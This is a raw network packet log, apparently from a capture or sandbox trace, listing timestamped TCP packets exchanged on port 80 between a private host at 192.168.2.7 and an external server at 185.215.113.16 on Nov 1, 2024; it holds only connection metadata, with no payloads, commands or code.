Nov 1, 2024 12:34:30.573260069 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573268890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573280096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573291063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573292971 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573318005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573321104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573329926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573340893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573353052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573354959 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573364973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573376894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573380947 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573390007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573401928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573406935 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573426008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573441029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573452950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573463917 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573478937 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573492050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573515892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573529005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573539972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573551893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573564053 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573574066 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573576927 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573596954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573597908 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573611021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573612928 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573648930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573678017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573688984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573699951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573723078 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573760986 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573772907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573784113 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573796034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573796988 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573808908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573822975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573836088 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573875904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573888063 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573899031 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573910952 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573921919 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.573934078 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.573959112 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574009895 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574021101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574032068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574043989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574048996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574057102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574069977 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574070930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574096918 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574155092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574167013 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574178934 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574189901 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574192047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574206114 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574217081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574220896 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574228048 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574239016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574245930 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574264050 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574266911 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574280024 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574290991 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574301004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574304104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574311018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574321985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574328899 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574342012 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574351072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574351072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574366093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574378967 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574405909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574513912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574526072 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574537992 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574547052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574558973 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574573994 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574639082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574702978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574713945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574724913 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574742079 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574754000 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574804068 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574815989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574826002 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574837923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574850082 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574850082 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574862957 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574872017 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574903965 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.574960947 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574973106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574982882 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.574995041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575002909 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575016975 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575026989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575026989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575040102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575061083 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575099945 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575109959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575119972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575130939 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575143099 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575145960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575155973 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575167894 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575186968 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575222015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575232983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575243950 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575253963 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575267076 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575268030 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575278997 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575289965 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575290918 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575316906 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575326920 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575357914 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575371981 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575388908 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575398922 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575409889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575412035 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575422049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575434923 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575440884 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575445890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575457096 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575458050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575470924 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575498104 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575520992 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575527906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575545073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575556993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575567961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575578928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575584888 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575586081 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575598001 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575608015 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575623989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575623989 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575637102 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575648069 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575665951 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575684071 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575690985 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575695038 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575706959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575719118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575720072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575731993 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.575753927 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.575777054 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.576896906 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.577033043 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.577079058 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.579539061 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579549074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579585075 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.579763889 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579823017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579833984 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579859018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.579910994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579924107 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579935074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579946041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579950094 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.579957962 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.579986095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.580010891 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.580812931 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580823898 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580835104 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580864906 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.580897093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580908060 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580919027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580929995 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580940008 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.580943108 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580950975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.580955982 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.580979109 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.586847067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586915016 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.586940050 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586951971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586963892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586976051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586990118 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.586990118 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587003946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587017059 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587044001 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587102890 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587163925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587203979 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587210894 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587220907 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587229967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587244034 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587254047 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587280989 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587449074 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587460041 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587495089 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587496996 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587574959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587584972 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587601900 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587610960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587613106 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587624073 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587635040 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587646961 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587646961 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587656021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587667942 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587677956 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587680101 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587719917 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587738037 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587749004 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587759018 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.587773085 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.587799072 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.595010042 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595026016 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595036983 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595052958 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595065117 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595073938 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.595076084 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595084906 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.595092058 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595103025 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595115900 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.595117092 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595129967 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.595139980 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.595170975 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.689361095 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.694422960 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.694437027 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.694447994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.694474936 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.699476957 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704462051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704482079 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704493999 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704505920 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704514027 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704524994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704539061 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704588890 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704601049 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704612970 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704623938 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704639912 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704648018 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704653978 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704664946 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704677105 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704678059 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704690933 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704703093 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704704046 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704721928 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704730034 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704756021 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704777956 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704790115 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704799891 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704811096 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704823971 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704827070 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704835892 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704843044 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704849005 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704860926 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704873085 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704884052 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704885960 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704905033 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704916954 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704917908 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.704930067 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.704961061 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705126047 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705137968 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705147028 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705158949 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705168962 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705169916 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705183029 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705195904 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705195904 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705208063 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705209017 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705223083 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705234051 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705234051 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705246925 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705257893 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705262899 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705271959 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705281973 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705286026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705322981 CET	49996	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:30.705497026 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705507994 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705518007 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705528021 CET	80	49996	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:30.705543041 CET	80	49996	185.215.113.16	192.168.2.7
